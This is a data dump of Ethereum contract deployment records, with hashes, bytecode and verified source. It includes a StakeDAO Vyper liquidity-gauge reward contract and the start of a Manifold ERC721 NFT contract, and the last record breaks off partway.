1 | 20,290,712 | cbfbe26df0998b5b9e1c347c5c27e780c3dabc4d7fcbeec5f906dd90c6d4af58 | 8c7dca7fc59df8b8c1dbafc683699ce837abe53ba3bdb9ccd4e34cab6ec07738 | 3585ca22df80d70f6d1cc0867d8387c360181349 | 777777c338d93e2c7adf08d102d45ca7cc4ed021 | 6792d1aea1b328305a68a487c2a09ddac037e410 | 60406080815234610222576103f290813803918261001c81610227565b938492833960209384918101031261022257516001600160a01b03811692838203610222578251916001600160401b03908284018281118582101761020c57808652600096878652823b156101b2577f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc80546001600160a01b031916821790557fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b8880a28451158015906101ab575b6100dd575b855160d190816103218239f35b8551946060860186811085821117610197578752602786527f416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c85870152660819985a5b195960ca1b86880152518791829190845af4913d15610186573d90811161017257610166959661015885601f19601f85011601610227565b91825281943d92013e61024c565b508038808080806100d0565b634e487b7160e01b87526041600452602487fd5b50915061016693945060609161024c565b634e487b7160e01b89526041600452602489fd5b50866100cb565b865162461bcd60e51b815260048101869052602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b6064820152608490fd5b634e487b7160e01b600052604160045260246000fd5b600080fd5b6040519190601f01601f191682016001600160401b0381118382101761020c57604052565b919290156102ae5750815115610260575090565b3b156102695790565b60405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606490fd5b8251909150156102c15750805190602001fd5b6040519062461bcd60e51b82528160208060048301528251908160248401526000935b828510610307575050604492506000838284010152601f80199101168101030190fd5b84810182015186860160440152938101938593506102e456fe608060405236156054577f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc54600090819081906001600160a01b0316368280378136915af43d82803e156050573d90f35b3d90fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc54600090819081906001600160a01b0316368280378136915af43d82803e156050573d90f3fea2646970667358221220d7ecf0f892b2bed76a5d05c6a34519f038f3782dbc124a10ad6a33c8a565e3a164736f6c634300081100330000000000000000000000007d42ee84d377d37cfc9ebf10c3aee56da326642d | 608060405236156054577f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc54600090819081906001600160a01b0316368280378136915af43d82803e156050573d90f35b3d90fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc54600090819081906001600160a01b0316368280378136915af43d82803e156050573d90f3fea2646970667358221220d7ecf0f892b2bed76a5d05c6a34519f038f3782dbc124a10ad6a33c8a565e3a164736f6c63430008110033 | |
1 | 20,290,717 | ca1532e50966009f5d72482ea4b1687445e3d019524b4f15027e1f57d57cd21c | 79d604f297085ce5d2b70f3a988d529c5e5e59e0256e52f622241766c18bd7ec | 4e565f63257d90f988e5ec9d065bab00f94d2dfd | 9fa5c5733b53814692de4fb31fd592070de5f5f0 | 3df125febd00d8255149a83f84976dd8a9337b07 | 608060408190526319b400eb60e21b8152339060009082906366d003ac9060849060209060048186803b15801561003557600080fd5b505afa158015610049573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061006d9190610271565b90506000826001600160a01b031663fc0c546a6040518163ffffffff1660e01b815260040160206040518083038186803b1580156100aa57600080fd5b505afa1580156100be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100e29190610271565b90506001600160a01b0381161561018d576040516370a0823160e01b815230600482015261018d9083906001600160a01b038416906370a082319060240160206040518083038186803b15801561013857600080fd5b505afa15801561014c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061017091906102bf565b836001600160a01b031661019960201b610009179092919060201c565b816001600160a01b0316ff5b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b17905291516000928392908716916101f591906102d7565b6000604051808303816000865af19150503d8060008114610232576040519150601f19603f3d011682016040523d82523d6000602084013e610237565b606091505b5091509150818015610261575080511580610261575080806020019051810190610261919061029f565b61026a57600080fd5b5050505050565b600060208284031215610282578081fd5b81516001600160a01b0381168114610298578182fd5b9392505050565b6000602082840312156102b0578081fd5b81518015158114610298578182fd5b6000602082840312156102d0578081fd5b5051919050565b60008251815b818110156102f757602081860181015185830152016102dd565b818111156103055782828501525b50919091019291505056fe | ||
1 | 20,290,719 | 24962a636c39603a5c36bb8e9e06ea16a55aee7ddad15f9befedd5b5d4fe68ea | ae50741c5ed1afcc80d3c86ae5cbabd37db793bbc219e176f2daea6a3f573568 | 52ea58f4fc3ced48fa18e909226c1f8a0ef887dc | 4e795a6f991e305e3f28a3b1b2b4b9789d2cd5a1 | 3ba195be63a7de0b48a787218c2fe1c2588daca9 | 6101103d81600a3d39f336602c57343d527f9e4ac34f21c619cefc926c8bd93b54bf5a39c7ab2127a895af1cc0691d7e3dff593da1005b363d3d373d3d3d3d6100ae806062363936013d73e85b13a1fd600670edbb7cb81cefcc2a35e6fc035af43d3d93803e606057fd5bf34e795a6f991e305e3f28a3b1b2b4b9789d2cd5a18f476f43baa2d4b6c215d2408340919bf7de0520d533a949740bb3306d119cc777fa900ba034cd524e3fbd56cd56c3e72c1403e103b45db9da5b9d2b69d61428d089c2f35bf6a472f540d0f82d1ea2cdf403c135812408bfbe8713b5a23a04b3d48aae3116a7c8a51963c44b9576cc83895c8abfb123a138000000000000000000000000000000000000000000000000000000000000017600ae | 36602c57343d527f9e4ac34f21c619cefc926c8bd93b54bf5a39c7ab2127a895af1cc0691d7e3dff593da1005b363d3d373d3d3d3d6100ae806062363936013d73e85b13a1fd600670edbb7cb81cefcc2a35e6fc035af43d3d93803e606057fd5bf34e795a6f991e305e3f28a3b1b2b4b9789d2cd5a18f476f43baa2d4b6c215d2408340919bf7de0520d533a949740bb3306d119cc777fa900ba034cd524e3fbd56cd56c3e72c1403e103b45db9da5b9d2b69d61428d089c2f35bf6a472f540d0f82d1ea2cdf403c135812408bfbe8713b5a23a04b3d48aae3116a7c8a51963c44b9576cc83895c8abfb123a138000000000000000000000000000000000000000000000000000000000000017600ae | |
1 | 20,290,719 | 24962a636c39603a5c36bb8e9e06ea16a55aee7ddad15f9befedd5b5d4fe68ea | ae50741c5ed1afcc80d3c86ae5cbabd37db793bbc219e176f2daea6a3f573568 | 52ea58f4fc3ced48fa18e909226c1f8a0ef887dc | dc9718e7704f10db1afaad737f8a04bcd14c20aa | a2911a1c386777cbf3297b70637eb2d640bfe475 | 602c3d8160093d39f33d3d3d3d363d3d37363d73c1e4775b3a589784aacd15265ac39d3b3c13ca3c5af43d3d93803e602a57fd5bf3 | 3d3d3d3d363d3d37363d73c1e4775b3a589784aacd15265ac39d3b3c13ca3c5af43d3d93803e602a57fd5bf3 | # @version 0.3.10
"""
@title Liquidity Gauge v4
@author StakeDAO Protocol
@license MIT
"""
# Original idea and credit:
# Curve Finance's veCRV
# https://github.com/curvefi/curve-dao-contracts/blob/master/contracts/gauges/LiquidityGaugeV4.vy
# Mostly forked from Curve, except that now there is no direct link between the gauge controller
# and the gauges. In this implementation, SDT rewards are like any other token rewards.
from vyper.interfaces import ERC20
implements: ERC20
interface VotingEscrow:
def user_point_epoch(addr: address) -> uint256: view
def user_point_history__ts(addr: address, epoch: uint256) -> uint256: view
interface VotingEscrowBoost:
def adjusted_balance_of(_account: address) -> uint256: view
interface ERC20Extended:
def symbol() -> String[26]: view
def decimals() -> uint256: view
event Deposit:
provider: indexed(address)
value: uint256
event Withdraw:
provider: indexed(address)
value: uint256
event UpdateLiquidityLimit:
user: address
original_balance: uint256
original_supply: uint256
working_balance: uint256
working_supply: uint256
event CommitOwnership:
admin: address
event ApplyOwnership:
admin: address
event Transfer:
_from: indexed(address)
_to: indexed(address)
_value: uint256
event Approval:
_owner: indexed(address)
_spender: indexed(address)
_value: uint256
event RewardDataUpdate:
_token: indexed(address)
_amount: uint256
struct Reward:
token: address
distributor: address
period_finish: uint256
rate: uint256
last_update: uint256
integral: uint256
MAX_REWARDS: constant(uint256) = 11
TOKENLESS_PRODUCTION: constant(uint256) = 40
WEEK: constant(uint256) = 604800
SDT: public(address)
voting_escrow: public(address)
veBoost_proxy: public(address)
staking_token: public(address)
decimal_staking_token: public(uint256)
balanceOf: public(HashMap[address, uint256])
totalSupply: public(uint256)
allowance: public(HashMap[address, HashMap[address, uint256]])
name: public(String[64])
symbol: public(String[40])
working_balances: public(HashMap[address, uint256])
working_supply: public(uint256)
integrate_checkpoint_of: public(HashMap[address, uint256])
# For tracking external rewards
reward_count: public(uint256)
reward_tokens: public(address[MAX_REWARDS])
reward_data: public(HashMap[address, Reward])
# claimant -> default reward receiver
rewards_receiver: public(HashMap[address, address])
# reward token -> claiming address -> integral
reward_integral_for: public(HashMap[address, HashMap[address, uint256]])
# user -> [uint128 claimable amount][uint128 claimed amount]
claim_data: HashMap[address, HashMap[address, uint256]]
admin: public(address)
future_admin: public(address)
claimer: public(address)
initialized: public(bool)
vault:public(address)
@external
def __init__():
"""
@notice Contract constructor
@dev The contract has an initializer to prevent the take over of the implementation
"""
assert self.initialized == False #dev: contract is already initialized
self.initialized = True
@external
def initialize(_staking_token: address, _admin: address, _SDT: address, _voting_escrow: address, _veBoost_proxy: address, _distributor: address,_vault:address,symbol:String[30]):
"""
@notice Contract initializer
@param _staking_token Liquidity Pool contract address
@param _admin Admin who can kill the gauge
@param _SDT Address of the SDT token
@param _voting_escrow Address of the veSDT contract
@param _veBoost_proxy Address of the proxy contract used to query veSDT balances and taking into account potential delegations
@param _distributor Address of the contract responsible for distributing SDT tokens to this gauge
"""
assert self.initialized == False #dev: contract is already initialized
self.initialized = True
assert _admin != empty(address)
assert _SDT != empty(address)
assert _voting_escrow != empty(address)
assert _veBoost_proxy != empty(address)
assert _distributor != empty(address)
assert _vault != empty(address)
self.admin = _admin
self.staking_token = _staking_token
self.decimal_staking_token = ERC20Extended(_staking_token).decimals()
self.name = concat("Stake DAO ", symbol, " Gauge")
self.symbol = concat("sd",symbol, "-gauge")
self.SDT = _SDT
self.voting_escrow = _voting_escrow
self.veBoost_proxy = _veBoost_proxy
self.vault = _vault
# add in all liquidityGauge the SDT reward - the distribution could be null though
self.reward_data[_SDT].distributor = _distributor
self.reward_tokens[0] = _SDT
self.reward_count = 1
@view
@external
def decimals() -> uint256:
"""
@notice Get the number of decimals for this token
@dev Implemented as a view method to reduce gas costs
@return uint256 decimal places
"""
return self.decimal_staking_token
@internal
def _update_liquidity_limit(addr: address, l: uint256, L: uint256):
"""
@notice Calculate limits which depend on the amount of SDT token per-user.
Effectively it calculates working balances to apply amplification
of SDT production by SDT
@param addr User address
@param l User's amount of liquidity (LP tokens)
@param L Total amount of liquidity (LP tokens)
"""
# To be called after totalSupply is updated
voting_balance: uint256 = VotingEscrowBoost(self.veBoost_proxy).adjusted_balance_of(addr)
voting_total: uint256 = ERC20(self.voting_escrow).totalSupply()
lim: uint256 = l * TOKENLESS_PRODUCTION / 100
if voting_total > 0:
lim += L * voting_balance / voting_total * (100 - TOKENLESS_PRODUCTION) / 100
lim = min(l, lim)
old_bal: uint256 = self.working_balances[addr]
self.working_balances[addr] = lim
_working_supply: uint256 = self.working_supply + lim - old_bal
self.working_supply = _working_supply
log UpdateLiquidityLimit(addr, l, L, lim, _working_supply)
@internal
def _checkpoint_reward(_user: address, token: address, _total_supply: uint256, _user_balance: uint256, _claim: bool, receiver: address):
"""
@notice Claim pending rewards and checkpoint rewards for a user
"""
total_supply: uint256 = _total_supply
user_balance: uint256 = _user_balance
if token == self.SDT :
total_supply = self.working_supply
user_balance = self.working_balances[_user]
integral: uint256 = self.reward_data[token].integral
last_update: uint256 = min(block.timestamp, self.reward_data[token].period_finish)
duration: uint256 = last_update - self.reward_data[token].last_update
if duration != 0:
self.reward_data[token].last_update = last_update
if total_supply != 0:
integral += duration * self.reward_data[token].rate * 10**18 / total_supply
self.reward_data[token].integral = integral
if _user != empty(address):
integral_for: uint256 = self.reward_integral_for[token][_user]
new_claimable: uint256 = 0
if integral_for < integral:
self.reward_integral_for[token][_user] = integral
new_claimable = user_balance * (integral - integral_for) / 10**18
claim_data: uint256 = self.claim_data[_user][token]
total_claimable: uint256 = (claim_data >> 128) + new_claimable
if total_claimable > 0:
total_claimed: uint256 = claim_data % 2**128
if _claim:
response: Bytes[32] = raw_call(
token,
concat(
method_id("transfer(address,uint256)"),
convert(receiver, bytes32),
convert(total_claimable, bytes32),
),
max_outsize=32,
)
if len(response) != 0:
assert convert(response, bool)
self.claim_data[_user][token] = total_claimed + total_claimable
elif new_claimable > 0:
self.claim_data[_user][token] = total_claimed + (total_claimable << 128)
if token == self.SDT :
self.integrate_checkpoint_of[_user] = block.timestamp
@internal
def _checkpoint_rewards(_user: address, _total_supply: uint256, _claim: bool, _receiver: address, _only_checkpoint:bool = False):
"""
@notice Claim pending rewards and checkpoint rewards for a user
"""
receiver: address = _receiver
user_balance: uint256 = 0
if _user != empty(address):
user_balance = self.balanceOf[_user]
if _claim and _receiver == empty(address):
# if receiver is not explicitly declared, check if a default receiver is set
receiver = self.rewards_receiver[_user]
if receiver == empty(address):
# if no default receiver is set, direct claims to the user
receiver = _user
if _only_checkpoint:
self._checkpoint_reward(_user, self.SDT, _total_supply, user_balance, False, receiver)
else:
reward_count: uint256 = self.reward_count
for i in range(MAX_REWARDS):
if i == reward_count:
break
token: address = self.reward_tokens[i]
self._checkpoint_reward(_user, token, _total_supply, user_balance, _claim, receiver)
@external
def user_checkpoint(addr: address) -> bool:
"""
@notice Record a checkpoint for `addr`
@param addr User address
@return bool success
"""
assert msg.sender == addr # dev: unauthorized
total_supply: uint256 = self.totalSupply
self._checkpoint_rewards(addr, total_supply, False, empty(address), True)
self._update_liquidity_limit(addr, self.balanceOf[addr], total_supply)
return True
@view
@external
def claimed_reward(_addr: address, _token: address) -> uint256:
"""
@notice Get the number of already-claimed reward tokens for a user
@param _addr Account to get reward amount for
@param _token Token to get reward amount for
@return uint256 Total amount of `_token` already claimed by `_addr`
"""
return self.claim_data[_addr][_token] % 2**128
@view
@external
def claimable_reward(_user: address, _reward_token: address) -> uint256:
"""
@notice Get the number of claimable reward tokens for a user
@param _user Account to get reward amount for
@param _reward_token Token to get reward amount for
@return uint256 Claimable reward token amount
"""
integral: uint256 = self.reward_data[_reward_token].integral
total_supply: uint256 = self.totalSupply
user_balance: uint256 = self.balanceOf[_user]
if _reward_token == self.SDT:
total_supply = self.working_supply
user_balance = self.working_balances[_user]
if total_supply != 0:
last_update: uint256 = min(block.timestamp, self.reward_data[_reward_token].period_finish)
duration: uint256 = last_update - self.reward_data[_reward_token].last_update
integral += (duration * self.reward_data[_reward_token].rate * 10**18 / total_supply)
integral_for: uint256 = self.reward_integral_for[_reward_token][_user]
new_claimable: uint256 = user_balance * (integral - integral_for) / 10**18
return (self.claim_data[_user][_reward_token] >> 128) + new_claimable
@external
def set_rewards_receiver(_receiver: address):
"""
@notice Set the default reward receiver for the caller.
@dev When set to empty(address), rewards are sent to the caller
@param _receiver Receiver address for any rewards claimed via `claim_rewards`
"""
self.rewards_receiver[msg.sender] = _receiver
@external
def set_vault(_vault:address):
"""
@notice Set the vault contract
@param _vault Address of the new vault
"""
assert self.admin == msg.sender #dev : only admin can call this function
self.vault = _vault
@external
@nonreentrant('lock')
def claim_rewards(_addr: address = msg.sender, _receiver: address = empty(address)):
"""
@notice Claim available reward tokens for `_addr`
@param _addr Address to claim for
@param _receiver Address to transfer rewards to - if set to
empty(address), uses the default reward receiver
for the caller
"""
if _receiver != empty(address):
assert _addr == msg.sender # dev: cannot redirect when claiming for another user
self._checkpoint_rewards(_addr, self.totalSupply, True, _receiver)
@external
@nonreentrant('lock')
def claim_rewards_for(_addr: address, _receiver: address):
"""
@notice Claim available reward tokens for `_addr`
@param _addr Address to claim for
@param _receiver Address to transfer rewards to - if set to
empty(address), uses the default reward receiver
for the caller
"""
assert self.claimer == msg.sender # dev: only the claim contract can claim for other
if _receiver != _addr:
assert _receiver == self.claimer # dev: if the receiver is not the user it needs to be the claimer
self._checkpoint_rewards(_addr, self.totalSupply, True, _receiver)
@external
def kick(addr: address):
"""
@notice Kick `addr` for abusing their boost
@dev Only if either they had another voting event, or their voting escrow lock expired
@param addr Address to kick
"""
t_last: uint256 = self.integrate_checkpoint_of[addr]
t_ve: uint256 = VotingEscrow(self.voting_escrow).user_point_history__ts(
addr, VotingEscrow(self.voting_escrow).user_point_epoch(addr)
)
_balance: uint256 = self.balanceOf[addr]
assert ERC20(self.voting_escrow).balanceOf(addr) == 0 or t_ve > t_last # dev: kick not allowed
assert self.working_balances[addr] > _balance * TOKENLESS_PRODUCTION / 100 # dev: kick not needed
total_supply: uint256 = self.totalSupply
self._checkpoint_rewards(addr, total_supply, False, empty(address), True)
self._update_liquidity_limit(addr, self.balanceOf[addr], total_supply)
@external
@nonreentrant('lock')
def deposit(_value: uint256, _addr: address = msg.sender, _claim_rewards: bool = False):
"""
@notice Deposit `_value` LP tokens
@dev Depositting also claims pending reward tokens
@param _value Number of tokens to deposit
@param _addr Address to deposit for
"""
assert msg.sender == self.vault #only vault contract can deposit
total_supply: uint256 = self.totalSupply
if _value != 0:
is_rewards: bool = self.reward_count != 0
if is_rewards:
self._checkpoint_rewards(_addr, total_supply, _claim_rewards, empty(address))
total_supply += _value
new_balance: uint256 = self.balanceOf[_addr] + _value
self.balanceOf[_addr] = new_balance
self.totalSupply = total_supply
self._update_liquidity_limit(_addr, new_balance, total_supply)
ERC20(self.staking_token).transferFrom(msg.sender, self, _value)
else:
self._checkpoint_rewards(_addr, total_supply, False, empty(address), True)
log Deposit(_addr, _value)
log Transfer(empty(address), _addr, _value)
@external
@nonreentrant('lock')
def withdraw(_value: uint256, _addr: address, _claim_rewards: bool = False):
"""
@notice Withdraw `_value` LP tokens
@dev Withdrawing also claims pending reward tokens
@param _value Number of tokens to withdraw
"""
assert msg.sender == self.vault #only vault contract can withdraw
total_supply: uint256 = self.totalSupply
if _value != 0:
is_rewards: bool = self.reward_count != 0
if is_rewards:
self._checkpoint_rewards(_addr, total_supply, _claim_rewards, empty(address))
total_supply -= _value
new_balance: uint256 = self.balanceOf[_addr] - _value
self.balanceOf[_addr] = new_balance
self.totalSupply = total_supply
self._update_liquidity_limit(_addr, new_balance, total_supply)
ERC20(self.staking_token).transfer(msg.sender, _value)
else:
self._checkpoint_rewards(_addr, total_supply, False, empty(address), True)
log Withdraw(_addr, _value)
log Transfer(msg.sender, empty(address), _value)
@internal
def _transfer(_from: address, _to: address, _value: uint256):
total_supply: uint256 = self.totalSupply
if _value != 0:
is_rewards: bool = self.reward_count != 0
if is_rewards:
self._checkpoint_rewards(_from, total_supply, False, empty(address))
new_balance: uint256 = self.balanceOf[_from] - _value
self.balanceOf[_from] = new_balance
self._update_liquidity_limit(_from, new_balance, total_supply)
if is_rewards:
self._checkpoint_rewards(_to, total_supply, False, empty(address))
new_balance = self.balanceOf[_to] + _value
self.balanceOf[_to] = new_balance
self._update_liquidity_limit(_to, new_balance, total_supply)
else:
self._checkpoint_rewards(_from, total_supply, False, empty(address), True)
self._checkpoint_rewards(_to, total_supply, False, empty(address), True)
log Transfer(_from, _to, _value)
@external
@nonreentrant('lock')
def transfer(_to : address, _value : uint256) -> bool:
"""
@notice Transfer token for a specified address
@dev Transferring claims pending reward tokens for the sender and receiver
@param _to The address to transfer to.
@param _value The amount to be transferred.
"""
self._transfer(msg.sender, _to, _value)
return True
@external
@nonreentrant('lock')
def transferFrom(_from : address, _to : address, _value : uint256) -> bool:
"""
@notice Transfer tokens from one address to another.
@dev Transferring claims pending reward tokens for the sender and receiver
@param _from address The address which you want to send tokens from
@param _to address The address which you want to transfer to
@param _value uint256 the amount of tokens to be transferred
"""
_allowance: uint256 = self.allowance[_from][msg.sender]
if _allowance != max_value(uint256):
self.allowance[_from][msg.sender] = _allowance - _value
self._transfer(_from, _to, _value)
return True
@external
def approve(_spender : address, _value : uint256) -> bool:
"""
@notice Approve the passed address to transfer the specified amount of
tokens on behalf of msg.sender
@dev Beware that changing an allowance via this method brings the risk
that someone may use both the old and new allowance by unfortunate
transaction ordering. This may be mitigated with the use of
{incraseAllowance} and {decreaseAllowance}.
https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
@param _spender The address which will transfer the funds
@param _value The amount of tokens that may be transferred
@return bool success
"""
self.allowance[msg.sender][_spender] = _value
log Approval(msg.sender, _spender, _value)
return True
@external
def increaseAllowance(_spender: address, _added_value: uint256) -> bool:
"""
@notice Increase the allowance granted to `_spender` by the caller
@dev This is alternative to {approve} that can be used as a mitigation for
the potential race condition
@param _spender The address which will transfer the funds
@param _added_value The amount of to increase the allowance
@return bool success
"""
allowance: uint256 = self.allowance[msg.sender][_spender] + _added_value
self.allowance[msg.sender][_spender] = allowance
log Approval(msg.sender, _spender, allowance)
return True
@external
def decreaseAllowance(_spender: address, _subtracted_value: uint256) -> bool:
"""
@notice Decrease the allowance granted to `_spender` by the caller
@dev This is alternative to {approve} that can be used as a mitigation for
the potential race condition
@param _spender The address which will transfer the funds
@param _subtracted_value The amount of to decrease the allowance
@return bool success
"""
allowance: uint256 = self.allowance[msg.sender][_spender] - _subtracted_value
self.allowance[msg.sender][_spender] = allowance
log Approval(msg.sender, _spender, allowance)
return True
@external
def add_reward(_reward_token: address, _distributor: address):
"""
@notice Set the active reward contract
"""
assert msg.sender == self.admin # dev: only owner
reward_count: uint256 = self.reward_count
assert reward_count < MAX_REWARDS
assert self.reward_data[_reward_token].distributor == empty(address)
self.reward_data[_reward_token].distributor = _distributor
self.reward_tokens[reward_count] = _reward_token
self.reward_count = reward_count + 1
@external
def set_reward_distributor(_reward_token: address, _distributor: address):
current_distributor: address = self.reward_data[_reward_token].distributor
assert msg.sender == current_distributor or msg.sender == self.admin
assert current_distributor != empty(address)
assert _distributor != empty(address)
self.reward_data[_reward_token].distributor = _distributor
@external
def set_claimer(_claimer: address):
assert msg.sender == self.admin
assert _claimer != empty(address)
self.claimer = _claimer
@external
@nonreentrant("lock")
def deposit_reward_token(_reward_token: address, _amount: uint256):
assert msg.sender == self.reward_data[_reward_token].distributor
self._checkpoint_rewards(empty(address), self.totalSupply, False, empty(address))
response: Bytes[32] = raw_call(
_reward_token,
concat(
method_id("transferFrom(address,address,uint256)"),
convert(msg.sender, bytes32),
convert(self, bytes32),
convert(_amount, bytes32),
),
max_outsize=32,
)
if len(response) != 0:
assert convert(response, bool)
period_finish: uint256 = self.reward_data[_reward_token].period_finish
if block.timestamp >= period_finish:
self.reward_data[_reward_token].rate = _amount / WEEK
else:
remaining: uint256 = period_finish - block.timestamp
leftover: uint256 = remaining * self.reward_data[_reward_token].rate
self.reward_data[_reward_token].rate = (_amount + leftover) / WEEK
self.reward_data[_reward_token].last_update = block.timestamp
self.reward_data[_reward_token].period_finish = block.timestamp + WEEK
log RewardDataUpdate(_reward_token,_amount)
@external
def commit_transfer_ownership(addr: address):
"""
@notice Transfer ownership of Gauge to `addr`
@param addr Address to have ownership transferred to
"""
assert msg.sender == self.admin # dev: admin only
assert addr != empty(address) # dev: future admin cannot be the 0 address
self.future_admin = addr
log CommitOwnership(addr)
@external
def accept_transfer_ownership():
"""
@notice Accept a pending ownership transfer
"""
_admin: address = self.future_admin
assert msg.sender == _admin # dev: future admin only
self.admin = _admin
log ApplyOwnership(_admin) |
1 | 20,290,719 | 24962a636c39603a5c36bb8e9e06ea16a55aee7ddad15f9befedd5b5d4fe68ea | ae50741c5ed1afcc80d3c86ae5cbabd37db793bbc219e176f2daea6a3f573568 | 52ea58f4fc3ced48fa18e909226c1f8a0ef887dc | dc9718e7704f10db1afaad737f8a04bcd14c20aa | f99f472825d8efda73b6a3f95d1126e7c5a0ffa3 | 6100a03d81600a3d39f336602c57343d527f9e4ac34f21c619cefc926c8bd93b54bf5a39c7ab2127a895af1cc0691d7e3dff593da1005b363d3d373d3d3d3d61003e806062363936013d735940611b5d6f16ea670f032f13e8a09567a8dff55af43d3d93803e606057fd5bf38f476f43baa2d4b6c215d2408340919bf7de052069d61428d089c2f35bf6a472f540d0f82d1ea2cda2911a1c386777cbf3297b70637eb2d640bfe475003e | 36602c57343d527f9e4ac34f21c619cefc926c8bd93b54bf5a39c7ab2127a895af1cc0691d7e3dff593da1005b363d3d373d3d3d3d61003e806062363936013d735940611b5d6f16ea670f032f13e8a09567a8dff55af43d3d93803e606057fd5bf38f476f43baa2d4b6c215d2408340919bf7de052069d61428d089c2f35bf6a472f540d0f82d1ea2cda2911a1c386777cbf3297b70637eb2d640bfe475003e | |
1 | 20,290,719 | 24962a636c39603a5c36bb8e9e06ea16a55aee7ddad15f9befedd5b5d4fe68ea | 74411c8031ebee6febb2f0710988226b03da80a0d26c4a8fa56c1934453516aa | 9c86ff7619766d645685a67069a2a8aec458e225 | f3cd1e9326d1965935b287b1ee75c7183359a88a | 6afb63838e3350e7c8df10980b5247934ee60e56 | 608060405234801561001057600080fd5b506040805180820182526005815264574156455360d81b602080830191909152825180840190935260068352652bab29a127a160d11b908301529061007660017f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbd6101ea565b6000805160206103fa8339815191521461009257610092610211565b735133522ea5a0494ecb83f26311a095ddd7a9d4b66100cb6000805160206103fa83398151915260001b6101e760201b6100ce1760201c565b80546001600160a01b0319166001600160a01b0392909216919091179055604051600090735133522ea5a0494ecb83f26311a095ddd7a9d4b6906101159085908590602401610277565b60408051601f198184030181529181526020820180516001600160e01b031663266c45bb60e11b1790525161014a91906102a5565b600060405180830381855af49150503d8060008114610185576040519150601f19603f3d011682016040523d82523d6000602084013e61018a565b606091505b50509050806101df5760405162461bcd60e51b815260206004820152601560248201527f496e697469616c697a6174696f6e206661696c65640000000000000000000000604482015260640160405180910390fd5b5050506102c1565b90565b8181038181111561020b57634e487b7160e01b600052601160045260246000fd5b92915050565b634e487b7160e01b600052600160045260246000fd5b60005b8381101561024257818101518382015260200161022a565b50506000910152565b60008151808452610263816020860160208601610227565b601f01601f19169290920160200192915050565b60408152600061028a604083018561024b565b828103602084015261029c818561024b565b95945050505050565b600082516102b7818460208701610227565b9190910192915050565b61012a806102d06000396000f3fe608060405260043610601f5760003560e01c80635c60da1b14603157602b565b36602b576029605f565b005b6029605f565b348015603c57600080fd5b5060436097565b6040516001600160a01b03909116815260200160405180910390f35b609560917f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b60d1565b565b600060c97f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b905090565b90565b3660008037600080366000845af43d6000803e80801560ef573d6000f35b3d6000fdfea26469706673582212202a9bb36b5565c9ee7e0d14bf937526c1c3b1f93906d75a83beca318b92a0100c64736f6c63430008110033360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc | 608060405260043610601f5760003560e01c80635c60da1b14603157602b565b36602b576029605f565b005b6029605f565b348015603c57600080fd5b5060436097565b6040516001600160a01b03909116815260200160405180910390f35b609560917f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b60d1565b565b600060c97f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b905090565b90565b3660008037600080366000845af43d6000803e80801560ef573d6000f35b3d6000fdfea26469706673582212202a9bb36b5565c9ee7e0d14bf937526c1c3b1f93906d75a83beca318b92a0100c64736f6c63430008110033 | {{
"language": "Solidity",
"sources": {
"contracts/WVSBOB.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\n/// @title: WAVES\n/// @author: manifold.xyz\n\nimport \"./manifold/ERC721Creator.sol\";\n\n//////////////////////////////////////////////////////////////////////////////////////////////////////\n// //\n// //\n// //\n// //\n// .==: -== --- :==- -== :==. .----------- .-++++=-. //\n// @@% -@@@- .@@# .@@@@= -@@+ .@@% -@@%######## -%@@#++*#@= //\n// =@@= @@#@# *@@. #@#+@@: *@@: #@@: -@@- =@@+ //\n// @@% =@%.@@: .@@+ =@@: %@% %@% =@@= -@@- *@@: //\n// =@@- @@= #@# +@@. .@@+ -@@= -@@+ .@@# -@@- .@@@+: //\n// %@% +@% :@@: .@@= %@# +@@. #@@. %@@ -@@@@@@@@@@+ =#@@@#+- //\n// =@@- .@@: %@# *@# =@@=-----@@% .@@% +@@: -@@=....... .-*@@@+ //\n// %@% *@# -@@..@@: .@@%######%@@+ =@@= .@@= -@@- *@@= //\n// -@@-@@: %@**@# %@% #@@: #@@ #@# -@@- :@@+ //\n// %@@@* -@@@@: +@@: .@@% .@@#@@. -@@= --. -%@@. //\n// -@@@. %@@* .@@* -@@+ =@@@- -@@@@@@@@@@@= #@@@@%@@@%= //\n// .. .. .. ... ... ........... .::::. //\n// //\n// //\n// //\n// //\n// //\n//////////////////////////////////////////////////////////////////////////////////////////////////////\n\n\ncontract WVSBOB is ERC721Creator {\n constructor() ERC721Creator(\"WAVES\", \"WVSBOB\") {}\n}\n"
},
"contracts/manifold/ERC721Creator.sol": {
